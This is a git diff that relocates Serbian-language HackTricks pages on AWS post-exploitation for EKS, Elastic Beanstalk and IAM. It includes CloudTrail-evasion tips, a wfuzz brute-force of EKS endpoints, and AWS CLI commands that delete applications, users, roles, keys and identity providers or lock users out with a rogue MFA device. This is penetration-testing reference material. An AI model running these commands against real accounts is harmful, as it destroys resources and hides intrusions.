-Po defaultu, **korisnik ili uloga koja je kreirala** klaster uvek će imati **admin privilegije** nad klasterom. I to je jedini "siguran" pristup koji AWS može imati nad Kubernetes klasterom.
-
-Dakle, ako **napadač kompromituje klaster koristeći fargate** i **ukloni sve druge administratore** i **obriše AWS korisnika/ulogu koja je kreirala** klaster, ~~napadač bi mogao da **iznudi klaster**~~**r**.
-
-> [!TIP]
-> Napomena da ako je klaster koristio **EC2 VMs**, moglo bi biti moguće dobiti admin privilegije sa **Node** i povratiti klaster.
->
-> U stvari, ako klaster koristi Fargate, mogli biste da koristite EC2 čvorove ili prebacite sve na EC2 klaster i povratite ga pristupajući tokenima u čvoru.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md

@@ -0,0 +1,143 @@
+# AWS - EKS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EKS
+
+Za više informacija pogledajte
+
+{{#ref}}
+../../aws-services/aws-eks-enum.md
+{{#endref}}
+
+### Enumerate the cluster from the AWS Console
+
+Ako imate dozvolu **`eks:AccessKubernetesApi`** možete **pregledati Kubernetes objekte** putem AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
+
+### Connect to AWS Kubernetes Cluster
+
+- Jednostavan način:
+```bash
+# Generate kubeconfig
+aws eks update-kubeconfig --name aws-eks-dev
+```
+- Ne baš tako lak način:
+
+Ako možete **dobijete token** pomoću **`aws eks get-token --name <cluster_name>`** ali nemate dozvole da dobijete informacije o clusteru (describeCluster), možete **pripremiti svoj `~/.kube/config`**. Međutim, iako imate token, i dalje vam je potreban **url endpoint za povezivanje** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) i **ime clustera**.
+
+U mom slučaju, nisam pronašao info u CloudWatch logs, ali sam ih **pronašao u LaunchTemaplates userData** i **takođe u EC2 mašinama u userData**. Ove informacije možete lako videti u **userData**, na primer u sledećem primeru (the cluster name was cluster-name):
+```bash
+API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
+
+/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
+```
+<details>
+
+<summary>kube config</summary>
+```yaml
+describe-cache-parametersapiVersion: v1
+clusters:
+- cluster:
+certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
+server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+contexts:
+- context:
+cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+kind: Config
+preferences: {}
+users:
+- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user:
+exec:
+apiVersion: client.authentication.k8s.io/v1beta1
+args:
+- --region
+- us-west-2
+- --profile
+- <profile>
+- eks
+- get-token
+- --cluster-name
+- <cluster-name>
+command: aws
+env: null
+interactiveMode: IfAvailable
+provideClusterInfo: false
+```
+</details>
+
+### Iz AWS-a ka Kubernetesu
+
+The **tvorac** of the **EKS cluster** je **UVEK** going to be able to get into the kubernetes cluster part of the group **`system:masters`** (k8s admin). U vreme pisanja ne postoji **direktan način** da se sazna **ko je kreirao** klaster (možete proveriti CloudTrail). I ne postoji **način** da se **ukloni** taj **privilegij**.
+
+Način da se dodeli **pristup K8s** većem broju **AWS IAM users or roles** je korišćenjem **configmap** **`aws-auth`**.
+
+> [!WARNING]
+> Dakle, svako ko ima **write access** nad config mapom **`aws-auth`** moći će da **kompromituje ceo klaster**.
+
+Za više informacija o tome kako da **dodelite dodatne privilegije IAM roles & users** u **istom ili drugom account-u** i kako to **zlorabiti** pogledajte [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
+
+Takođe pogledajte[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post da biste naučili kako funkcioniše autentifikacija IAM -> Kubernetes**.
+
+### Iz Kubernetes-a ka AWS
+
+Moguće je omogućiti **OpenID authentication for kubernetes service account** kako bi oni mogli da assume roles u AWS-u. Saznajte kako [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
+
+### GET Api Server Endpoint from a JWT Token
+
+Dekodiranjem JWT tokena dobijemo cluster id i takođe region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Znajući da je standardni format za EKS url je
+```bash
+https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
+```
+Nisam našao nijednu dokumentaciju koja objašnjava kriterijume za 'dva znaka' i 'broj'. Ali prilikom testiranja primetio sam da se ponavljaju ovi primeri:
+
+- gr7
+- yl4
+
+U svakom slučaju, to su samo 3 znaka pa ih možemo bruteforce-ovati. Iskoristi skript ispod za generisanje liste
+```python
+from itertools import product
+from string import ascii_lowercase
+
+letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
+number_combinations = product('0123456789', repeat = 1)
+
+result = [
+f'{''.join(comb[0])}{comb[1][0]}'
+for comb in product(letter_combinations, number_combinations)
+]
+
+with open('out.txt', 'w') as f:
+f.write('\n'.join(result))
+```
+Zatim sa wfuzz
+```bash
+wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
+```
+> [!WARNING]
+> Zapamti da zameniš & .
+
+### Zaobilaženje CloudTrail
+
+Ako attacker dobije kredencijale za AWS sa **permission over an EKS**. Ako attacker konfiguriše svoj **`kubeconfig`** (bez poziva **`update-kubeconfig`**) kao što je objašnjeno ranije, **`get-token`** ne generiše logove u Cloudtrail jer ne komunicira sa AWS API-jem (samo kreira token lokalno).
+
+Dakle, kada attacker komunicira sa EKS cluster-om, **cloudtrail neće zabeležiti ništa vezano za ukradenog korisnika i njegov pristup**.
+
+Imajte na umu da **EKS cluster može imati uključene logove** koji će zabeležiti ovaj pristup (iako su, po podrazumevanim, isključeni).
+
+### EKS Ransom?
+
+Po podrazumevanju **user or role that created** klaster će **ALWAYS going to have admin privileges** nad klasterom. I to je jedini "siguran" pristup koji će AWS imati nad Kubernetes klasterom.
+
+Dakle, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**.
+
+> [!TIP]
+> Imajte na umu da ako je klaster koristio **EC2 VMs**, moglo bi biti moguće dobiti Admin privileges sa **Node** i oporaviti klaster.
+>
+> Zapravo, ako klaster koristi Fargate možete dodati EC2 node-ove ili preseliti sve na EC2 u okviru klastera i oporaviti ga pristupajući tokenima na node-u.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md

@@ -1,70 +0,0 @@
-# AWS - Elastic Beanstalk Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Elastic Beanstalk
-
-Za više informacija:
-
-{{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
-{{#endref}}
-
-### `elasticbeanstalk:DeleteApplicationVersion`
-
-> [!NOTE]
-> TODO: Testirati da li su potrebne dodatne dozvole za ovo
-
-Napadač sa dozvolom `elasticbeanstalk:DeleteApplicationVersion` može **izbrisati postojeću verziju aplikacije**. Ova akcija može ometati procese implementacije aplikacija ili uzrokovati gubitak specifičnih verzija aplikacija ako nisu sačuvane.
-```bash
-aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
-```
-**Potencijalni uticaj**: Poremećaj u implementaciji aplikacija i potencijalni gubitak verzija aplikacija.
-
-### `elasticbeanstalk:TerminateEnvironment`
-
-> [!NAPOMENA]
-> TODO: Testirati da li su potrebne dodatne dozvole za ovo
-
-Napadač sa dozvolom `elasticbeanstalk:TerminateEnvironment` može **ukinuti postojeće Elastic Beanstalk okruženje**, uzrokujući prekid rada aplikacije i potencijalni gubitak podataka ako okruženje nije konfigurisano za rezervne kopije.
-```bash
-aws elasticbeanstalk terminate-environment --environment-name my-existing-env
-```
-**Potencijalni Uticaj**: Vreme neaktivnosti aplikacije, potencijalni gubitak podataka i prekid usluga.
-
-### `elasticbeanstalk:DeleteApplication`
-
-> [!NAPOMENA]
-> TODO: Testirati da li su potrebne dodatne dozvole za ovo
-
-Napadač sa dozvolom `elasticbeanstalk:DeleteApplication` može **izbrisati celu Elastic Beanstalk aplikaciju**, uključujući sve njene verzije i okruženja. Ova akcija može izazvati značajan gubitak resursa i konfiguracija aplikacije ako nisu sačuvani.
-```bash
-aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
-```
-**Potencijalni Uticaj**: Gubitak resursa aplikacije, konfiguracija, okruženja i verzija aplikacije, što može dovesti do prekida usluge i potencijalnog gubitka podataka.
-
-### `elasticbeanstalk:SwapEnvironmentCNAMEs`
-
-> [!NAPOMENA]
-> TODO: Testirati da li su potrebne dodatne dozvole za ovo
-
-Napadač sa `elasticbeanstalk:SwapEnvironmentCNAMEs` dozvolom može **promeniti CNAME zapise dva Elastic Beanstalk okruženja**, što može uzrokovati da pogrešna verzija aplikacije bude dostupna korisnicima ili dovesti do nepredviđenog ponašanja.
-```bash
-aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
-```
-**Potencijalni Uticaj**: Posluživanje pogrešne verzije aplikacije korisnicima ili izazivanje nepredviđenog ponašanja u aplikaciji zbog zamenjenih okruženja.
-
-### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
-
-> [!NAPOMENA]
-> TODO: Testirati da li su potrebne dodatne dozvole za ovo
-
-Napadač sa `elasticbeanstalk:AddTags` i `elasticbeanstalk:RemoveTags` dozvolama može **dodavati ili uklanjati oznake na Elastic Beanstalk resursima**. Ova akcija može dovesti do pogrešne alokacije resursa, naplate ili upravljanja resursima.
-```bash
-aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
-
-aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
-```
-**Potencijalni uticaj**: Neispravna alokacija resursa, naplata ili upravljanje resursima zbog dodatih ili uklonjenih oznaka.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md

@@ -0,0 +1,70 @@
+# AWS - Elastic Beanstalk Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Elastic Beanstalk
+
+Za više informacija:
+
+{{#ref}}
+../../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
+
+### `elasticbeanstalk:DeleteApplicationVersion`
+
+> [!NOTE]
+> TODO: Testirati da li su za ovo potrebna dodatna dozvola
+
+Napadač koji ima dozvolu `elasticbeanstalk:DeleteApplicationVersion` može **izbrisati postojeću verziju aplikacije**. Ova radnja može poremetiti deployment pipeline-ove ili dovesti do gubitka određenih verzija aplikacije ako nisu sačuvane backup-om.
+```bash
+aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
+```
+**Potential Impact**: Poremećaj deployment-a aplikacije i potencijalni gubitak verzija aplikacije.
+
+### `elasticbeanstalk:TerminateEnvironment`
+
+> [!NOTE]
+> TODO: Testirati da li su za ovo potrebne dodatne dozvole
+
+Napadač sa dozvolom `elasticbeanstalk:TerminateEnvironment` može **terminate an existing Elastic Beanstalk environment**, što može izazvati prekid rada aplikacije i potencijalni gubitak podataka ako okruženje nije konfigurisano za rezervne kopije.
+```bash
+aws elasticbeanstalk terminate-environment --environment-name my-existing-env
+```
+**Potencijalni uticaj**: Zastoj aplikacije, moguć gubitak podataka i prekid usluga.
+
+### `elasticbeanstalk:DeleteApplication`
+
+> [!NOTE]
+> TODO: Proveriti da li su potrebne dodatne dozvole za ovo
+
+Napadač koji ima dozvolu `elasticbeanstalk:DeleteApplication` može **izbrisati celu Elastic Beanstalk aplikaciju**, uključujući sve njene verzije i okruženja. Ova akcija može prouzrokovati značajan gubitak resursa i konfiguracija aplikacije ako nisu prethodno rezervno sačuvane.
+```bash
+aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
+```
+**Mogući uticaj**: Gubitak resursa aplikacije, konfiguracija, okruženja i verzija aplikacije, što može dovesti do prekida usluge i mogućeg gubitka podataka.
+
+### `elasticbeanstalk:SwapEnvironmentCNAMEs`
+
+> [!NOTE]
+> TODO: Testirati da li su za ovo potrebna dodatna dopuštenja
+
+Napadač sa dozvolom `elasticbeanstalk:SwapEnvironmentCNAMEs` može **zameniti CNAME zapise dva Elastic Beanstalk okruženja**, što može prouzrokovati da korisnicima bude poslužena pogrešna verzija aplikacije ili dovesti do neželjenog ponašanja.
+```bash
+aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
+```
+**Potencijalni uticaj**: Posluživanje pogrešne verzije aplikacije korisnicima ili izazivanje neželjenog ponašanja aplikacije usled zamenjenih okruženja.
+
+### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
+
+> [!NOTE]
+> TODO: Testirati da li su za ovo potrebna dodatna dopuštenja
+
+Napadač sa `elasticbeanstalk:AddTags` i `elasticbeanstalk:RemoveTags` dozvolama može **dodavati ili uklanjati tagove na Elastic Beanstalk resursima**. Ova radnja može dovesti do pogrešne raspodele resursa, netačne naplate ili problema u upravljanju resursima.
+```bash
+aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
+
+aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
+```
+**Mogući uticaj**: Neispravna alokacija resursa, naplata ili upravljanje resursima zbog dodatih ili uklonjenih tagova.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md

@@ -1,166 +0,0 @@
-# AWS - IAM Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-Za više informacija o IAM pristupu:
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-## Confused Deputy Problem
-
-Ako dozvolite jednom **spoljašnjem nalogu (A)** da pristupi nekoj **role** u vašem nalogu, verovatno ćete imati **0 vidljivost** na to **ko tačno može da pristupi tom spoljašnjem nalogu**. To je problem, jer ako drugi spoljašnji nalog (B) može da pristupi spoljašnjem nalogu (A), moguće je da će **B takođe moći da pristupi vašem nalogu**.
-
-<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
-
-Zato, kada dozvoljavate spoljašnjem nalogu da pristupi **role** u vašem nalogu, moguće je navesti `ExternalId`. Ovo je "tajni" string koji spoljašnji nalog (A) **mora da navede** da bi **assume the role in your organization**. Pošto **spoljašnji nalog B neće znati ovaj string**, čak i ako ima pristup nalogu A on **neće moći da pristupi vašoj role**.
-
-Ipak, imajte na umu da ovaj `ExternalId` "tajni" **nije tajna** — svako ko može **pročitati IAM assume role policy** moći će da ga vidi. Ali dok god spoljašnji nalog A zna taj string, a spoljašnji nalog **B ga ne zna**, to **sprečava B da zloupotrebi A da pristupi vašoj role**.
-
-Primer:
-```json
-{
-"Version": "2012-10-17",
-"Statement": {
-"Effect": "Allow",
-"Principal": {
-"AWS": "Example Corp's AWS Account ID"
-},
-"Action": "sts:AssumeRole",
-"Condition": {
-"StringEquals": {
-"sts:ExternalId": "12345"
-}
-}
-}
-}
-```
-> [!WARNING]
-> Da bi napadač iskoristio confused deputy, moraće na neki način да откриje да ли principals тренутног налога могу да impersonate roles у другим налогима.
-
-### Neočekivana poverења
-
-#### Wildcard kao principal
-```json
-{
-"Action": "sts:AssumeRole",
-"Effect": "Allow",
-"Principal": { "AWS": "*" }
-}
-```
-Ova politika **dozvoljava svima iz AWS** da preuzmu ulogu.
-
-#### Servis kao principal
-```json
-{
-"Action": "lambda:InvokeFunction",
-"Effect": "Allow",
-"Principal": { "Service": "apigateway.amazonaws.com" },
-"Resource": "arn:aws:lambda:000000000000:function:foo"
-}
-```
-Ova politika **dozvoljava bilo kojem nalogu** da konfiguriše svoj apigateway da pozove ovu Lambda.
-
-#### S3 kao principal
-```json
-"Condition": {
-"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
-"StringEquals": {
-"aws:SourceAccount": "123456789012"
-}
-}
-```
-Ako je S3 bucket naveden kao principal, pošto S3 buckets nemaju Account ID, ako ste **obrisali svoj bucket i attacker ga je kreirao** u svom nalogu, mogli bi to zloupotrebiti.
-
-#### Nije podržano
-```json
-{
-"Effect": "Allow",
-"Principal": { "Service": "cloudtrail.amazonaws.com" },
-"Action": "s3:PutObject",
-"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
-}
-```
-Uobičajen način da se izbegnu problemi Confused Deputy je upotreba uslova sa `AWS:SourceArn` za proveru ARN izvora. Međutim, **neke usluge možda to ne podržavaju** (na primer CloudTrail prema nekim izvorima).
-
-### Brisanje kredencijala
-Sa bilo kojom od sledećih dozvola — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — subjekat može ukloniti pristupne ključeve, profile za prijavu, SSH ključeve, kredencijale specifične za servis, instance profile, sertifikate ili CloudFront javne ključeve, ili odvojiti role od instance profila. Takve akcije mogu odmah blokirati legitimne korisnike i aplikacije i izazvati denial-of-service ili gubitak pristupa za sisteme koji zavise od tih kredencijala, zato ove IAM dozvole moraju biti strogo ograničene i nadzirane.
-```bash
-# Remove Access Key of a user
-aws iam delete-access-key \
---user-name <Username> \
---access-key-id AKIAIOSFODNN7EXAMPLE
-
-## Remove ssh key of a user
-aws iam delete-ssh-public-key \
---user-name <Username> \
---ssh-public-key-id APKAEIBAERJR2EXAMPLE
-```
-### Brisanje identiteta
-Sa dozvolama kao što su `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, ili `iam:RemoveUserFromGroup`, akter može obrisati korisnike, role ili grupe—ili promeniti članstvo u grupi—uklanjajući identitete i povezane tragove. Ovo može odmah prekinuti pristup za ljude i servise koji zavise od tih identiteta, izazivajući denial-of-service ili gubitak pristupa, zato ove IAM akcije moraju biti strogo ograničene i nadgledane.
-```bash
-# Delete a user
-aws iam delete-user \
---user-name <Username>
-
-# Delete a group
-aws iam delete-group \
---group-name <Username>
-
-# Delete a role
-aws iam delete-role \
---role-name <Role>
-```
-###
-Sa bilo kojom od sledećih dozvola — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — akter može izbrisati ili odvojiti managed/inline policies, ukloniti verzije politika ili permissions boundaries, i odvezati politike od korisnika, grupa ili uloga. Ovo uništava autorizacije i može izmeniti model dozvola, prouzrokujući trenutni gubitak pristupa ili denial-of-service za subjekte koji su zavisili od tih politika, zato ove IAM akcije moraju biti strogo ograničene i nadgledane.
-```bash
-# Delete a group policy
-aws iam delete-group-policy \
---group-name <GroupName> \
---policy-name <PolicyName>
-
-# Delete a role policy
-aws iam delete-role-policy \
---role-name <RoleName> \
---policy-name <PolicyName>
-```
-### Brisanje federisanih identiteta
-Sa `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` i `iam:RemoveClientIDFromOpenIDConnectProvider`, napadač može da obriše OIDC/SAML provajdere identiteta ili ukloni client ID-e. Ovo prekida federisanu autentifikaciju, onemogućava validaciju tokena i odmah uskraćuje pristup korisnicima i servisima koji se oslanjaju na SSO dok se IdP ili konfiguracije ne obnove.
-```bash
-# Delete OIDCP provider
-aws iam delete-open-id-connect-provider \
---open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
-
-# Delete SAML provider
-aws iam delete-saml-provider \
---saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
-```
-### Neovlašćena aktivacija MFA
-Pomoću `iam:EnableMFADevice`, napadač može registrovati MFA uređaj na identitet korisnika, sprečavajući legitimnog korisnika da se prijavi. Kada je neovlašćeni MFA omogućen, korisnik može ostati zaključan dok uređaj ne bude uklonjen ili resetovan (napomena: ako je registrovano više MFA uređaja, za prijavu je dovoljan samo jedan, pa ovaj napad neće onemogućiti pristup).
-```bash
-aws iam enable-mfa-device \
---user-name <Username> \
---serial-number arn:aws:iam::111122223333:mfa/alice \
---authentication-code1 123456 \
---authentication-code2 789012
-```
-### Manipulacija metapodacima sertifikata/ključeva
-Sa `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, napadač može promeniti status ili metapodatke javnih ključeva i sertifikata. Označavanjem ključeva/sertifikata kao neaktivnih ili izmenom referenci, mogu onemogućiti SSH autentifikaciju, poništiti X.509/TLS validacije i odmah poremetiti servise koji zavise od tih kredencijala, što dovodi do gubitka pristupa ili dostupnosti.
-```bash
-aws iam update-ssh-public-key \
---user-name <Username> \
---ssh-public-key-id APKAEIBAERJR2EXAMPLE \
---status Inactive
-
-aws iam update-server-certificate \
---server-certificate-name <Certificate_Name> \
---new-path /prod/
-```
-## Reference
-
-- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md

@@ -0,0 +1,166 @@
+# AWS - IAM Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+Za više informacija o pristupu IAM-u:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+## Problem "Confused Deputy"
+
+Ako dozvolite spoljnom nalogu (A) da pristupi određenoj ulozi u vašem nalogu, verovatno nećete imati nikakvu vidljivost ko tačno može pristupiti tom spoljnjem nalogu. To je problem, jer ako drugi spoljnji nalog (B) može pristupiti spoljnom nalogu (A), moguće je da će i B moći da pristupi vašem nalogu.
+
+Stoga, kada dozvoljavate spoljnom nalogu pristup ulozi u vašem nalogu, moguće je specificirati `ExternalId`. To je "tajni" string koji spoljni nalog (A) mora da navede da bi preuzeo ulogu u vašoj organizaciji. Pošto spoljni nalog B neće znati ovaj string, čak i ako ima pristup A, neće moći da pristupi vašoj ulozi.
+
+<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
+
+Međutim, imajte na umu da ovaj `ExternalId` "tajni" zapravo **nije tajna** — svako ko može da pročita IAM assume role policy moći će da ga vidi. Ali sve dok spoljni nalog A zna ovaj string, a spoljni nalog B ne zna, to sprečava da B zloupotrebi A da bi pristupio vašoj ulozi.
+
+Primer:
+```json
+{
+"Version": "2012-10-17",
+"Statement": {
+"Effect": "Allow",
+"Principal": {
+"AWS": "Example Corp's AWS Account ID"
+},
+"Action": "sts:AssumeRole",
+"Condition": {
+"StringEquals": {
+"sts:ExternalId": "12345"
+}
+}
+}
+}
+```
+> [!WARNING]
+> Da bi napadač iskoristio confused deputy, mora nekako da otkrije da li principals trenutnog naloga mogu da impersonate roles u drugim nalozima.
+
+### Neočekivana poverenja
+
+#### Wildcard kao principal
+```json
+{
+"Action": "sts:AssumeRole",
+"Effect": "Allow",
+"Principal": { "AWS": "*" }
+}
+```
+Ova politika **dozvoljava svim AWS** da preuzmu ulogu.
+
+#### Servis kao principal
+```json
+{
+"Action": "lambda:InvokeFunction",
+"Effect": "Allow",
+"Principal": { "Service": "apigateway.amazonaws.com" },
+"Resource": "arn:aws:lambda:000000000000:function:foo"
+}
+```
+Ova politika **dozvoljava bilo kojem nalogu** da konfiguriše svoj apigateway da pozove ovu Lambda funkciju.
+
+#### S3 kao entitet
+```json
+"Condition": {
+"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
+"StringEquals": {
+"aws:SourceAccount": "123456789012"
+}
+}
+```
+Ako je S3 bucket naveden kao principal, pošto S3 buckets nemaju Account ID, ako ste vi **obrisali svoj bucket i attacker ga je kreirao** u svom nalogu, attacker bi to mogao zloupotrebiti.
+
+#### Nije podržano
+```json
+{
+"Effect": "Allow",
+"Principal": { "Service": "cloudtrail.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
+}
+```
+Uobičajen način da se izbegnu problemi Confused Deputy je korišćenje uslova sa `AWS:SourceArn` da bi se proverio ARN porekla. Međutim, **neke usluge možda to ne podržavaju** (npr. CloudTrail prema nekim izvorima).
+
+### Brisanje kredencijala
+Sa bilo kojom od sledećih dozvola — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — napadač može ukloniti pristupne ključeve, profile za prijavu, SSH ključeve, servisno-specifične kredencijale, instance profile, sertifikate ili CloudFront javne ključeve, ili razdružiti role iz instance profila. Takve akcije mogu odmah blokirati legitimne korisnike i aplikacije i izazvati denial-of-service ili gubitak pristupa za sisteme koji zavise od tih kredencijala, pa ove IAM dozvole moraju biti strogo ograničene i nadgledane.
+```bash
